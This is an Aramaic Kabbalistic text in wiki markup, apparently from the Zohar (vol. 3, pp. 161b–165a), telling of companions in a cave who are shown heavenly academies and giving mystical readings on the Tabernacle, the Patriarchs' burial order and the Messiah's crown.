{{ממ זהר משולב|ג|קסא|ב}}&lt;קטע התחלה=דף קסא ב/&gt;ואתקף באתר עלאה דלעילא דאיהו מוחא דרישא דשארי לעילא (ואחיד ביה) ודא אתקשר בדא ובגוונא דדא אתקין קב&quot;ה עלמא ועבד (ליה) חד גופא ואתקין שייפי דגופא סחרניה דלבא ולבא שארי באמצעיתא דכל גופא וכל אינון שייפין אתזנו מההוא לבא דהוא תוקפא דכלא וכלא ביה תליין וההוא לבא אתקשר ואתאחד במוחא עלאה דשריא לעילא. 

תא חזי כד ברא קב&quot;ה עלמא אשרא (ס&quot;א אסדר) לימא דאוקינוס דאסחר כל ישובא דעלמא וישובא דכל שבעין אומין כלא אסחר לירושלם. וירושלם באמצעיתא דכל ישובא שריא והיא אסחרא להר הבית והר הבית אסחר לעזרות דישראל ואינון עזרות סחרן ללשכת הגזית דתמן דנהדרי גדולה יתבין ותנינן לית ישיבה בעזרה אלא למלכי בית דוד בלחודייהו ולשכת הגזית אסחר למזבח והמזבח אסחר לבית האולם והאולם להיכל והיכל לבית קדש הקדשים דתמן שכינה שריא וכפרת וכרובים וארון והכא הוא לבא דכל ארעא ועלמא ומהכא אתזנו כל אינון אתרי דישובא דאינון שייפי דגופא. ולבא דא אתזן ממוחא דרישא ואתאחיד דא בדא הדא הוא דכתיב {{צ|מכון לשבתך פעלת יהוה}} {{ממ|שמות|טו|יז}}. כגוונא דא לעילא לעילא ואיהו ברזא דמלכא עלאה ברזא יקירא סתימאה עלאה לקביל דא דאית ימא לעילא מן ימא וימא מן ימא. 

תא חזי נהר דינור אסחר לכמד משריין מקבליה שבעין סטרין גליפין משבעה דליקין ואינון סחרן לאינון שמשי דלגו מנייהו ואינון סחרין לארבע רתיכין ואינון סחרן לההיא קרתא קדישא דרביעא עלייהו. ותאנא תמן עזרות לגו מעזרות ולית ישיבה בעזרה דתמן אלא למלכיהון דבית דוד בלחודייהו ותמן משתכחי ויתבי וסנהדרי גדולה משתכחי תמן בלשכת הגזית וההוא בי דינא עלייהו דמשמש לאתר דמשמש ודינא אתיהיב מתמן לקדישין עליונין עד דמטא לאתר דאקרי קדש הקדשים דביה כלא ותמן הוא לבא שרייא ודא אתזן מן מוחא דלעילא ואתאחיד דא בדא. כגוונא דא לעילא לעילא ואיהו ברזא דמלכא עלאה ברזא יקירא סתימאה עד דאשתכח דכלא אתזן ממוחא עלאה סתימאה דכלא וכד יסתכלון מלי כלא אתקשר דא בדא ודא בדא. 

תא חזי כד אנהיר עתיקא סתימא במוחא ומוחא אנהיר ללבא בדרך נעם יהוה והא אוקימנא ודא הוא כח יי' ההוא חילא דאתי מעתיקא קדישא סתימא דכל סתימין יגדל נא דיתרבי ויסגי לעילא לעילא ויתנגיד ויתמשך לתתא. כאשר דברת כמה דאוקמוה לאמר למילף מהכא כל דרין בתראין לעלם ולעלמי עלמין לאמר למימר לדא בשעתא דעקתא. למימר דא בשעתא דרווחא ומאי הוא יהוה ארך אפים וגו' והא אוקימנא מלי. אמר ד' יצחק אמת אמאי סליק מכאן אמר רבי חייא אינון גרמו ליה דאסתליק מכאן דהא בשקרו דברו גרמייהו בההוא מדה דבר נש מודד בה מודדין ליה וכן שאר אחרי אסתלקו דלא יכיל משה למימרינהו בגין דאינון גרמו. סלחתי כדבריך כדבריך ממש והא אתערו חברייא. והא אתמר:

אמר המגיה כך מצאתי בהעתקות אשר לפני ומתוך הלשון נראה שחסר התחלת המאמר וגם במקומות אחרים ממנו חסר ועם כל זה לא רציתי להשמיטו מן הספר להגדיל תורה ולהאדיר:

דא עם דא מה דלא הוו יכלין למללא מקדמת דנא נפקו מההיא פתחא ויתבו בגנתא תחות אילנין אמרו דא לדא כיון דאנן הכא וחמינן כל דא אי נמות הכא ודאי ניעול לעלמא דאתי. יתבו שינתא נפלת עלייהו ודמכו. אדהכי הא ההוא ממנא אתא &lt;קטע סוף=דף קסא ב/&gt;{{ממ זהר משולב|ג|קסב|א}}&lt;קטע התחלה=דף קסב א/&gt;ואתער לון אמר לון קומו פוקו לגו פרדס דאברא. נפקו חמו לאלין מארי מקרא דהוו אמרי בההוא קרא:

במדבר הזה יתמו. הא באתר אחרא לא. ושם ימותו הא באתר אחרא לא ודא בגופין אבל בנשמתין לא כגוונא דבני גנתא. 
אמר לון ההוא ממנא פוקו. נפקו בהדיה אמר לון שמעתון מדי לגו ההוא דרגא. 
אמרו שמענא דהא חד קלא הוה אמר מאן דפסק יתפסק מאן דקצר יתקצר מאן דקצר יתארך אמר לון ידעתון מאי האי אמרו לא. 
אמר לון חמיתון ההוא נשרא רברבא וההוא ינוקא דקא מלקט עשבין ר' אילעאי דנציבין הוה הוא ובריה ומטא הכא וחמא הוא וינוקא בריה מערתא דא כיון דעאלו לגו חשוך לא יכילו למסבל ומיתו וההוא ינוקא בריה קיימא בכל יומא קמיה דבצלאל בשעתא דנחית ממתיבתא עלאה ואמר קמיה תלת מלין. עד לא יפתח בצלאל ברזין סתימין דחכמתא דכל מלוי רזין סתימין אינון ד{{צ|עין לא ראתה אלהים זולתך}} האי (מאן) דאמר מאן דפסק יתפסק. מאן דפסק מלין דאורייתא על מלין בטלין יתפסקון חיוהי מהאי עלמא ודיניה קיימא בההוא עלמא מאן דקצר יתקצר מאן דקצר אמן ולא מאריך ביה גו נייחא יתקצר מחיין דהאי עלמא. מאן דקצר יתארך מאן דאמר אחד אצטריך לחטפא אלף ולקצרא קריאה דילה ולא יעכב בהאי את כלל. ומאן דעביד דא יתארכון חייו. 

אמרו ליה תו אמר תרין אינון וחדא אשתתף בהו ואינון תלתא. וכד הוו תלתא אינון חד. 
אמר לון אלין תרין שמהן דשמע ישראל דאינון יהוה יהוה. אלהינו אשתתף בהו ואיהו חותמא דגושפנקא. אמת. וכדומתחברן כחדא אינון חד ביחודא חדא. תו אמר תרין אינון וחד אתהדר. כד שליט טאס על גדפי רוחא ושאט במאתן אלף ואתטמר. אמר לון אלין תרין כרובים דהוה רכיב בהו קב&quot;ה. ומן יומא דאגניז יוסף מאחוי אגניז איהו (ס&quot;א חד) ואשתאר חד לגבי בנימין הדא הוא דכתיב {{צ|וירכב על כרוב ויעף וידא על כנפי רוח}} {{ממ|תהלים|יח|יא}}  {{ממ|ש&quot;א|כב|יא}}. ואגניז במאתן אלף עלמין ואתטמר ההוא דרכיב עליה דאינון מאתן אלף גניזין אינון דיליה בריך הוא פוקו מהכא זכאין אתון. נפקו יהב לון ההוא ממנא וורדא (ס&quot;א אחרא) חדא ונפקו. כד נפקו אסתים פום מערתא ולא אתחזי כלל. חמו ההוא נשרא דהוה נחית מההוא אילנא ועאל גו מערתא אחרא. ארחו אינון בההוא וורדא ועאלו תמן אשכחו ההוא נשרא אפום מערתא אמר לון עולו זכאי קשוט חברין דהא לא חמינא חדוה דחברותא מן יומא דאנא הכא אלא בכו. עאלו מאטו לפרדס אחרא וההוא נשרא בהדייהו כד מטו לגבי אינון מאריהון דמשנה אתהדר ההוא נשרא בדיוקנא דאדם בלבוש יקר מנהרא כוותייהו ויתיב עמהון כחדא אמר לאינון דיתבי הבו יקר למארי מתניתא דאתו הכא דהא מאריהון אחמי לון פליאן רברבן הכא. אמר חד מנייהו אית בכו סימנא. אמרו הין. אפיקו תרין ורדין וארחו בהו אמרו תיבו מארי מתיבתא תיבו זכאי קשוט אחידו בהו ויתבו. בההיא שעתא אולפו תמן תלתין הלכות דלא הוו ידעי מקדמת דנא ורזין אחרנין דאורייתא. אהדרו לגבי אינון מארי מקרא אשכחו דהוו אמרי {{צ|אני אמרתי אלהים אתם ובני עליון כלכם}}. {{צ|אני אמרתי}} בשעתא דאקדימתון עשיה לשמיעה דהא {{צ|אלהים אתם וגו'}} כיון דאמשכתון בתר יצר הרע {{צ|אכן כאדם תמותון וגו'}} מה מיתתו של אדם אחית ליה לעפרא בגין דיתמחי ההוא יצר הרע די בגויה וההוא יצר הרע איהו דמית הואתעכל בגויה. &lt;קטע סוף=דף קסב א/&gt;

 
{{ממ זהר משולב|ג|קסב|ב}}&lt;קטע התחלה=דף קסב ב/&gt;אמר ההוא סבא דעלייהו אוף הכא כתיב {{צ|ופגריכם אתם יפלו במדבר הזה}} {{ממ|במדבר|יד|לב}}. מאי {{צ|פגריכם}}? דא יצר הרע כליל דכר ונוקבא חסרונין דאית בכו דיצר הרע נחית תדיר לחסרונא ולא סליק. בקדש מעלין ולא מורידין במסאבו מורידין תדיר ולא מעלין. ועל דא אקרון פגריכם חסרונין דלכון כמה דאת אמר {{צ|אשר פִּגרו מעבור את הנחל וגו'}} {{ממ|ש&quot;א|ל|י}} סופא דקרא אוכח דכתיב {{צ|יפלו}} ולא &quot;תפלו&quot;. ועל דא {{צ|במדבר הזה יתמו}} אינון פגרים {{צ|ושם ימותו}} בגין דרעותא דקב&quot;ה לשיצאה להני פגרים מעלמא לעלם. 

אמר להו רבי אילאי זכאי קשוט עולו ותחמו דהא רשו אתמסר לכו למיעל עד ההוא אתר דפרוכתא פריסא זכאה חולקכון קמו ועאלו גו דוכתא חדא והוו תמן מאריהון דאגדה ואנפיהון מנהרן כנהירו דשמשא אמרו מאן אלין אמר להון אלין מאריוהן דאגדה חמאן בכל יומא נהירו דאורייתא כדקא יאות. קיימו ושמעו כמה מלין חדתין באורייתא לא אתיהיב לון רשו למיעל לגוייהו 
אמר ליה ר' אילאי עולו לדוכתא אחדא ותחמו. 
עאלו לגו גנתא אחרא וחמו אוף הכי כראן קברין ומיד מתין ומתהדירן חיין בגופין מנהרן קדישין 
אמרי ליה מאי האי 
א&quot;ל דא עבדי בכל יומא ומיד דשכבי מתעכלא ההוא זוהם בישא דקבילו בקדמיתא וקיימין מיד בגופין חדתין מנהרין באינון גופין קדישין דקיימי על טורא דסיני כגוונא דאתון חמאן קיימו כלהו על טורא דסיני בגופין בלא לכלוכא כלל כיון דאמשיכו עלייהו יצה&quot;ר אתהדרו בגופין אחרנין דגופין קדמאין גופין נוכראין הדא הוא דכתיב {{צ|ויתנצלו בני ישראל את עדים מהר חורב}} {{ממ|שמות|לג|ו}}. קלא אתער זילו אתכנשו הא אהליאב קאים על קיומיה וכל אינון קתדראין קמיה לשעתא פרחו כלהו ולא חמו מדי אשתארו בלחודייהו תחות אילנין דגנתא חמו פתחא אחרא עאלו תמן חמו היכלא חדא עאלו ויתיבו תמן. תרין עולימין הוו תמן. זקפו עיינין. וחמו חד משכנא מדקמא בכל זיני ציורין וגוונין דעלמא ועליה פריס פריסא דנהורא מנצצא דלא יכלין עיינין לאסתכלא (וכפום תרין מלין חמו גו ההוא משכנא עד אתר פרוכתא פריסא דלא חמו) מתמן ולהלאה לא. חמו כלום. ארכינו אודנין ושמעו חד קלא דהוה אמר בצלאל רביעאה איהו לנהורין עלאין. יוסף רביעאה איהו גו נהורין דאדם קדמאה סליקו דלעילא חביבא דכלא. עליה כתיב {{צ|ונסכו רביעית ההין בקדש וגו'}} {{ממ|במדבר|כח|ז}} מאן דיסתכל וחמי יסמון עיניה. מאן דלא יסתכל חמי ואתפתח. אילנא דתמני סרי כד כפיף יזקוף ויתקיים. אי לא כפיף חויא בישא אכיל ליה. מאן דעאל ותרין כרובין לגו רעותיה אתעביד. מאן דמעיין רחיק מרעותיה. קרבנא דרביא שלים לאתקבלא. פסק ההוא קלא אמרו אינון תרין עולימין סימנא אית בגוייכו אמרו הין אפיקו אינון תרין ורדין ארחו בהו אמרו תיבו עד דתשמעון תרין מלין ברזין עתיקין מגו מארי מתיבתא ויהון תדיר ברזא בגוייכו אמרו הן. אמר רבי שמעון כל הני מלין וכל מה דחמו כתבו וכד מטו הכא הוה כתיב {{צ|אשמרה דרכי מחטוא בלשוני}} {{ממ|תהלים|לט|ב}}. ואנא שאילנא לאבי אבא כמה הוו אינון תרין מלין ואמר לי חייך ברי אינון תרין מלין באנו עלמין וחריבו עלמין מאן דאשתמש בהו. כיון דשמעו אלין תרין מילין אמרו אינון ינוקי פוקו פוקו לית לכו רשותא יתיר למשמע. אפיק חד מנייהו תפוח אחד ויהב לון ואמר ארחו בדא ארחו ביה ונפקו ומכל דחמו לא אנשו כלום. נפקו הא ממנא אחרא אתא אמר לון חברייא ר' אילאי שדרני לכו תוריכו ליה הכא אפום מערתא והוא ייתי ויודע לכו מלין עלאין דלא ידעתון. דאיהו תבע מגו &lt;קטע סוף=דף קסב ב/&gt;

 
{{ממ זהר משולב|ג|קסג|א}}&lt;קטע התחלה=דף קסג א/&gt;מתיבתא דיהא ליה רשו לגלאה לכו מלין. נפקו בהדיה ואוריכו אפום מערתא והוו מהדרן מלי דא לדא מכל מה דחמו ואולפו תמן. אדהכא הא ר' אילאי אתא נהיר כשמשא א&quot;ל אורייתא חדתא שמעתא. אמר לון ודאי ורשו יהבו לי למימר לכו מלי. אתחברא כחדא אפום מערתא ויתבו, אמר לון זכאין אתון דאחמי לכון מאריכון כגוונא דעלמא דאתי והא לית לכו דחילו ואמתנו אמרו ודאי הא אתנשי מנן ארחא דבני נשא ותווהא איהו על כל מה דחמינן בהאי טורא אמר לון חמיתון אלין טוריא כלהו ראשי מתיבתי לעמא דא דבמדברא. וזכו השתא מה דלא זכו כד הוו בחיין. ואלין רישי מתיבתי כלהו בריש ירחי ושבתי ומעדייא מתכנשי לגבי טורא דאהרן כהנא ומתערי לגביה ועאלין גו מתיבתא דיליה ומתחדשן תמן בדכיו דטלא קדישא דנחית על רישיה ומשח רבו דנגיד עליה ועמיה מתחדשן כלהו בחדושין דרחימין דמלכא קדישא עד דאקרי הכא מתיבתא דרחימותא ואיהו נטיל בכל מתיבתא בטמירו דקיק מתעפפן כנשרין גו מתיבתא דנהורא ואיהי מתיבתא דמשה וכלהו קיימי לבר ולא עאלין לגו בר אהרן בלחודוי וכפום שעתא אקרון בשמא. ולית מאן דחמי ליה למשה דהא ההוא מסוה ראנפוי פריס קמיה ושבע ענני יקר סחרניה. אהרן קאים גו פרגודא דלתתא מן משה ופרגודא פסיק ולא פסיק בגוייהו וכל רישי מתיבתי לבר מפרוכתא דפרגודא דא. וכל שאר לבד מאינון עננין וכפום חדושי דנהירו דאורייתא דאתנהרא הכי מנהרן אינון עננין ואתקלישו בדקיקו דנהורא עד דאתחזי ההוא מסוה ומגו ההוא מסוה חמאן נהורא דנהיר יתיר מכל נהירין דעלמא ואינון אנפי משה. אנפוי לא אתחזון כלל ולית מאן רחמי לון בר ההוא נהירו דנפיק מגו ההוא מסוה בתר כל אינון עננין. משה אמר מלה סתם לאהרן ואהרן פריש לרברבי מתיבתי. במה פריש בכל אינון מבועין אסתימו מניה כד מטא זמניה דיהושע. והשתא איהו מהדר לון. בכמה פליאן ומקורין ומבועין ונחלין דנבעין מכל מלה ומלה. כל נשין זכיין דהאי דרא אתאן למרים אוף הכא בהני זמנין וכדין סלקין כלהו כתמרות עשן גו מדברא דא. וההוא יומא אקרי יומא דהלולא. נשין בלילי שבתות ובללי יומין טבין כלהו אתאן לגבי מרים וידעין אשתדלותא בידיעו דמארי עלמא. זכאה דרא דא מכל דרין דעלמא. נפקי ממתיבתא דמשה ופרחי לגבי מתיבתא דרקיעא ואינון דאתחזון פרחי לגבי מתיבתא עלאה על ההוא דרא כתיב {{צ|אשרי העם שככה לו אשרי העם שיהוה אלהיו}} {{ממ|תהלים|קמד|טו}}:


פתח ר' אילאי ואמר {{צ|תמים תהיה עם יהוה אלהיך}} {{ממ|דברים|יח|יג}}. מה בין '''תם''' ל'''תמים'''? באברהם כתיב {{צ|התהלך לפני והיה תמים}} {{ממ|בראשית|יז|א}}. יעקב דאשתלים יתיר כתיב ביה {{צ|ויעקב איש תם}} {{ממ|בראשית|כה|כז}}. אמאי אקרי {{צ|איש תם}}? בגין דלא אשתאר ביה פסולת כלל דהא פריעה הוה ביה. כמה אתפרע (ס&quot;א פריעה הוה ביה דאתפרע) ואתדכי מההוא פסולת. בגין דההוא אתר דאתקיף לפסולת דלגו אתר דפריעה שארי איהו שור דיוקנא דשמאלא דכרסיא דיליה. וההוא שור אקרי שור תם דהא רתיכא דכרסיא רשימא דברית אית ביה ועל דא האי שור אקרי תם ויעקב אחיד ביה בגוויה ובהאי שור עביד פריעה ואעבר זוהמא דפסולת כלא. במתניתא דבצלאל כתיב {{צ|ויזכור אלהים את רחל}} {{ממ|בראשית|ל|כב}}. בשרה כתיב 'פקידה' וברחל כתיב 'זכירה'. אמאי? בגין דזכור אתרשים ביעקב דאיהו ברית שלים כד אתעביד (ס&quot;א אתייליד) יוסף. ובמה כד נטל שור בהדיה דלא יתקיף לסטרא אחרא. ובגין כך אתקרי יוסף {{צ|בכור שור}} - בכור דההוא שור &lt;קטע סוף=דף קסג א/&gt;

 
{{ממ זהר משולב|ג|קסג|ב}}&lt;קטע התחלה=דף קסג ב/&gt;דנטל יעקב בכור שורו ודחי לההוא שור. שור תם ויעקב איש תם רבון ושליט מאריה דביתא דההוא שור תם שארי בגוויה בגין דאית שור מועד בסטר ערלה פריעה. וכמה גרדיני נימוסין נפקין מניה עד דרגא בתרייתא דאקרי שאי&quot;ה ההוא דאפיל ביתין דעלמא דלא דיירין בהו בני נשא. וכלהו נפקי מההוא שור מועד. ודא בחבורא דחמור בישא ובגין כך לא תחרוש בשור ובחמור יחדיו. בגין דלא לאתערא להו ובההוא מתיבתא דבצלאל וכן בתרין מתיבתי {{צ|ויעקב איש תם}} - בעלה דההוא תם. ומאן איהו א' רזא דו&quot;ו וכד הוו כלל דכר ונוקבא כחדא שלימו דכלא. אברהם לא אתפקד על פריעה וכד עאל עאל להאי תם ולגו דרגין דיליה דאקרון כחדא ים והיינו תמים לבתר אסתלק אברהם ועאל לגו ואתקשר עם ימינא עלאה. תמים תהיה עם יהוה אלהיך ודאי כמה דאיהו תמים כללא חדא אוף אנת תהא עמיה תמים עמיה ודאי. במה אתעביד בר נש תמים דיהא ת&quot;ם ים. תם כמה דאתמר. י&quot;ם כל אינון דרגין קדישין דיליה אקרון י&quot;ם ולא אתפרשן מניה לעלמין. אוף אנת כגוונא דא לאעדאה מנך דרגין נוכראין ולאתקשרא בתמים למיהוי בך דרגין קדישין רזא דים ודרגא קדישא. ת&quot;ם לקבלא א' רזא דיעקב. בר נש אצטריך למהוי בכל יומא ת&quot;ם י&quot;ם כגוונא דא ממש. השתא פריש מאן דפריש במתיבתא דסיהרא קדישא שפירא איהו בחוורו וכל גוונין מנצצן בה ומרקמן ואיהו כההוא שפירו וחוורו דשמשא מש ובההוא ימא דילה גו שבעין שנין נפקא נונא חדא ואפיק מניה גוון תכלת ואיהי נטלא גוון דא ותקינת ליה ואתחפייא לבר בהאי גוון. לאו דהאי גוון לבושא דילה דהא שש וארגמן לבושה אבל חופאה דלבר האי גוון הוא. כגוונא דא הוה משכנא דכוליה בשפירו מרקמא לגו ולבתר ופרשו בגד כליל תכלת. מ&quot;ט בגין דתחות ים דא אית מצולות י&quot;ם כלל דכר ונוקבא ואית לון עינא בישא לאסתכלא וכד מסתכלין זמין לעינייהו גוון תכלא ולא יכלא עינייהו לשלטאה ואיהי אתתקנת לגו בכל גוונין מרקמן כדקא יאות מתחחמן לד' סטרין דעלמא. 

כגוונא דא בר נש דלביש ציצית אתעביד בכל יומא תמים. ת&quot;ם בד' כנפים מתקנן כדקא יאות י&quot;ם בההוא תכלת דנונא דשבעין דרגין דימא סטרא בישא כד אסתכל בהאי בר נש לא יכיל לאבאשא ליה בעינא בישא. וכדין איהו תם י&quot;ם עם יהוה אלהיו ממש בתקונא חדא איהי לעילא ואיהו לתתא. לבתר אסתלקת איהי גו' דרגין עלאין. אוף הכי בר נש אסתלק איהו לבתר בתפלין גו דרגין עלאין. ועל דא {{צ|תמים תהיה עם יהוה אלהיך}}. עמיה ודאי. ודאי בשעתא חדא ברגעא חדא איהי אתקנת לעילא ובר נש אתקן לתתא. 

א&quot;ר אילאי כל אלין דהכא כגוונא דא מתקנן למהוי כל חד תמים עם יהוה. ועל רזא דא במדבר הזה יתמו אי תימרון דכד אתמר לביש אתמר הכי הוא ודאי דהוה לון למהוי כל חד תמים עם יהוה בארעא קדישא אתר דיהוה שארי תמן למהוי אפין באפין כחדא עמיה והשתא כל חד הוי תמים במדברא דא לבר אתר רחיק מתמן דלא יסתכל אנפין באנפין בהדיה למהוי עם יהוה כדקא יאות. ושם ימותו כמה דחמיתון דעבדין בכל יומא. זכאה חולקכון חברייא קדישין דזכיתון לכל האי. הני תרי מערתי אחרנין דילכו דלא תשכחו כל דא תמן דאינון גו מתיבתא דמשה. יתבי מרחיק ועל דא כתיב במשה ענו מאד מכל &lt;קטע סוף=דף קסג ב/&gt;

 
{{ממ זהר משולב|ג|קסד|א}}&lt;קטע התחלה=דף קסד א/&gt;האדם. ונביאה עלאה. קביל לון למתיבתא דיליה מיומא דשארי למחמי כל דא עד ההיא שעתא שבעה יומין. והא לא הוו מסתכלן בהאי עלמא כלום. אמר לון רבי אילאי זכאין קדישין אימא לכו מלין דשמעתון ומלה קדמאה כד תנדעון מדידו דמשחתא בשמא גליפא מפרש תנדעון (ואע&quot;ג) דבצלאל רביעאה איהו דנהורין עלאין דכתיב {{צ|ואמלא אותו רוח אלהים בחכמה ובתבונה ובדעת}} {{ממ|שמות|לא|ג}}. מאן דלא אסתכל חמי ואתפתח. מאן דלא אסתכל באינון תלת מלין טמירין מה לעילא מה לתא וכו' זמין איהו לאתפתחא באורייתא ולפקחא עיינין בה אילנא דתמני סרי. שדרתו דבר נש כד כפיף קמי מאריה יזקוף ויתקיים לתחיית מתייא. אי לא כפיף במודים אתעביד חויא ולית ליה תקומה לההוא זמנא. מאן דעאל בין תרין כרובים לגו. מאן דעאל שיעור תרין פתחין לגו בי כנשתא אתדבק במאריה ורעותיה אתעביד. מאן דמעיין בצלותיה ואסתכל בה רחיק מרעותיה דשאיל. קרבנא דרביא כד קרב בר נש בריה לבי ספרא או למילה דא קרבנא שלים לאתקבלא. מכאן ולהלאה רחימין. זילו. אלעזר ברי שפיר קאמרת כפום מה דאוליפת. אבל ח&quot;ו דאע&quot;ג דרחל הות עקרא בההוא זימנא יעקב חכים הוה. ואלמלא לא ידע יעקב דלאה אנחתיה לא קביר לה במערתא לאתחברא בהדיה בחבורא חדא ויהא קביר לה לבר מארעא. אבל ללאה אעיל לה גו ארעא ולרחל שוי לבר. מית יעקב אתקבר בגווה בחבורא חדא כמה דעבדו כל שאר אבהן אוף הכי אדם. מתה חוה בקדמיתא אתקברת תמן. ותמן ידע אדם דהאי דוכתא אתחזי ליה. מית אדם אתקבר בגווה בחבורא חדא. מתה שרה אתקברת תמן וחוה חמאת וחדאת לקבלה וקמת וקבלה לה. שיעורא דחוה לגבי שרה שיעורא דתרין אמין ולא יתיר. מת אברהם אתקבר לגבי שרה בחבורא חדא. מתה רבקה אתקברת תמן ושרה חמאת וקמת וקבלה לה. מת יצחק אתקבר בהדה בחבורא חדא. מתה לאה אתקברת תמן ורבקה חמאת וקמת וקבלה לה. מת יעקב אתחבר בהדה בחבורא חדא. וכלהו דכר ונוקבא כחדא בחבורא חדא. סדורא דלהון היך שכני נשין לגבי נשין ודכורין לגבי דכורין אדם ברישא חוה סמיך ליה. שרה לגבי חוה. אברהם סמיך לשרה. יצחק סמיך לאברהם. רבקה סמיך ליצחק. לאה סמיך לרבקה. יעקב סמיך ללאה. אשתכח אדם בסטרא דא יעקב בסטרא דא. דא רישא ודא סיפא. בספרא דשלמה מלכא איהו כדקא יאות והכי הוא אדם וחוה בקדמיתא. ושרה ואברהם סמיך לון. יצחק ורבקה לזויא אחרא בארח מישר בשורה חדא. יעקב ולאה באמצעיתא ואינון נשין לגבי נשין. ודכורין לגבי דכורין. ואדם וחוה שרה ואברהם יעקב ולאה. רבקה ויצחק. אדם בסטרא דא ויצחק בסטרא דא ויעקב באמצעיתא. יצחק לגבי אבוה לאו ארח עלמא. ועכ&quot;ד יעקב אצטריך באמצעיתא. ובכל אינון זוגין כמה דאתקברו הכי יקומון והכי ישתכחון. לאה תחדי בחדי משיח בריה דדוד דנפיק מנה לגו. רחל תחדי בהדי משיח בריה דיוסף דנפיק מנה לבר מירושלם וכלא לדוכתייהו אלין הכא ואלין הכא דאינון (ס&quot;א מגדלין) מרגלאן דאבן טבא כלהו. בין כלהו מגדלין אית חד מגדל דאבן טבא באמצעיתא. ודא סליק לרום רקיעא ולא אתחזי השתא עד ההוא זמנא דיתגלי. רב מתיבתא חמא ליה והוה רשים ביה לעילא האי קרא מגדל עז שם יהוה בו ירוץ צדיק ונשגב. ופריש רב מתיבתא קרא דא מגדל עז דא כנסת ישראל &lt;קטע סוף=דף קסד א/&gt;

 
{{ממ זהר משולב|ג|קסד|ב}}&lt;קטע התחלה=דף קסד ב/&gt;בו ירוץ צדיק ביה רעותיה דצדיק תדיר ועל דא ונשגב ההוא מגדל דלא ינפול לעלמין כמה דהוה. ורבי כרוספדאי חמיד לבא פריש האי קרא עד לא אסתלק ופריש שפיר. מגדל עז דא תיבה וס&quot;ת דאיהו עז לשואה ביה ולאפקא ליה מגו היכל דיוקנא דהיכל פנימאה דמניה נפקא תורה וההוא מגדל שם יהוה איהו ודיוקנא דיליה ואצטריך בשית דרגין. בו ירוץ צדיק במאן במגדל או בס&quot;ת. אלא קרא דריש בהאי ובהאי. כד דרש במגדל אצטריך צדיק דא דליהוי חזן הכנסת זכאה דקשוט ודיוקנא דצדיק עלאה. כד דריש לס&quot;ת מאן דסליק לס&quot;ת למקרי אורייתא אצטריך צדיק וצדיק אקרי מאן אקרי צדיק מכלהו. שתיתאה דסליק מאינון שבעה. א&quot;ר שמעון ודאי דאיהו לא סליק כל יומוי אלא שתיתאה לאינון דסלקין. בו ירוץ צדיק בס&quot;ת ירוץ דברי צדיק דא. ונשגב ממאן מדחילו דמלאך המות דהא אוריך יומין. ונשגב דלא יתנזק לעלמין. בההוא מגדל דסלקא בין אינון מגדלין קיימא נהירו חד בדיוקנא דס&quot;ת כד אתי ההוא ציפרא נטלא ההו אמגדל מאתריה וקאים גו אמצעיתא דעזרה גו גדפי דכרובים. הוה (ס&quot;א ומה דהוה) רומיה לרום שמיא מאיך ועאל תחות אינון כרובים ושורוי בין רישי כרובים. תלת מאה פתחין תמן בפתחא דאמצעיתא קיימא נהירו דא דיוקנא דס&quot;ת ביה זמין מלך ישראל למקרי בפרשת הקהל ודא ליהוי מלכא משיחא ולא אחרא. ובההוא ס&quot;ת דההוא נהירו אי חסידא קדישא זכאה איהו דמפומיה ישמעו קל נעימו דמלוי מאינון מלין סתימין דפריש באורייתא. בכל ריש ירחי ושבתי ומועדייא וזמנייא כד בעאן כל בני מתיבתי לסלקא לעילא לגו מתיבתא דרקיעא כלהו מתכנפי לגבי מלכא משיהא ואיהו פריש מלין ומגו מתיקו דמלוי בתיאובתא סלקין כלהו עשר מלין. גניזין לך מאינון מלין דאיהו פריש ליומא דשאלתן דילך כד קיימא ההוא מגדל באמצעו דעזרה. ופתחא דא פתח פתחין ואינון כרובין פומייהו ופרשי גדפייהו ונהיר נהירו עלאה על ההוא פתחא וההוא ס&quot;ת פתיח ואינון כרובים פתחי ואמרי מה רב טובך אשר צפנת ליראיך וגו'. סגירו פתחין וס&quot;ת אתגליל מאן חמא נהירו דנהרא דההוא ס&quot;ת כוליה נהורא דנהיר אתוון דיליה שלהובי דאשא מד' גווני דאינון דעלמא עלאה כלהו בלטי ומנצצי לית מאן דיכיל למיקם בהו בר משיח. סגיר פתחא דא כרובים משתככי. וההוא מגדל פרח וקיימא באתריה בין שאר מגדלין. בההוא פתחא דאמצעיתא אית עטרה דפז עלאה ויקירא גניזא דלא אתחזי השתא גליפא ומחקקא בכל זיני אבני יקר וזמינא למהוי על רישא דמלכא משיחא כד סליק בההוא מגדל ותרין נשרין דא מסטרא דא ודא מסטרא דא נטלי ליה בידייהו כד סליק מלכא משיחא מתתקנין נשרין ונטלי עטרא דא בשעתא דישרי למקרי יתפתח פתחא אחרא ומתמן תפוק ההיא יונה דשדר נח בימי טופנא. דכתיב {{צ|וישלח את היונה}} - {{צ|היונה}} - ההיא דאשתמודעא ולא מלילו בה קדמאי ולא ידעו מה היא אלא מהכא נפקת ועבדת שליחותא. ובשעתא דכתיב {{צ|ולא יספה שוב אליו עוד}} - לא ידע בר נש לאן אזלת והיא תבת לאתרה ואתגניזת בפתחא דא ואיהי תטול עטרה בפומהא ותשוי על רישיה דמלכא משיחא מטי ולא מטי. וכדין כתיב {{צ|תשית לראשו עטרת פז}} {{ממ|תהלים|כא|ד}}. וכיון דיקרי מלכא משיחא בס&quot;ת יקומון תרין נשרין דא מכאן ודא מכאן ויונה מאיך ומלכא משיחא נחית ועטרה על רישיה עד דרגא בתראה ותרין נשרין פרחין לעילא על רישיה ויונה תבאת &lt;קטע סוף=דף קסד ב/&gt;

 
{{ממ זהר משולב|ג|קסה|א}}&lt;קטע התחלה=דף קסה א/&gt;ועטרה בפומה ויקבלון לה אלין תרין נשרין. דוד מלכא זית רענן אקרי קמיה קב&quot;ה דכתיב {{צ|ואני כזית רענן בבית וגו'}} {{ממ|תהלים|נב|י}}. עלה זית דא מלכא משיחא בריה דדוד ודא איהו דרמיז יונה דא ביומו דנח דכתיב {{צ|והנה עלה זית טרף בפיה}} {{ממ|בראשית|ח|יא}}. ההוא עלה זית טרף וחטף ליקרא דיליה במה בפיה דקיימא על רישיה ומקבלא יקר מהאי יונה והאי דכתיב {{צ|טרף}} ולא &quot;טרפה&quot; (אלא) כדכורא דא דעביד חילא ונצח. במתיבתא דרקיעא יונה דכר הוא מגו דאקרי יונה כתיב כנוקבא וכתיב כדכורא בזמנא דמקבלא יקר (חסר) דא מגדל דא כד תב לאתריה נהיר כנהירו דעינא דשמשא דכתיב {{צ|כסאו כשמש נגדי}} {{ממ|תהלים|פט|לז}}. ואף דכרסייא אחרא ליהוי ליה בנסין ואתין 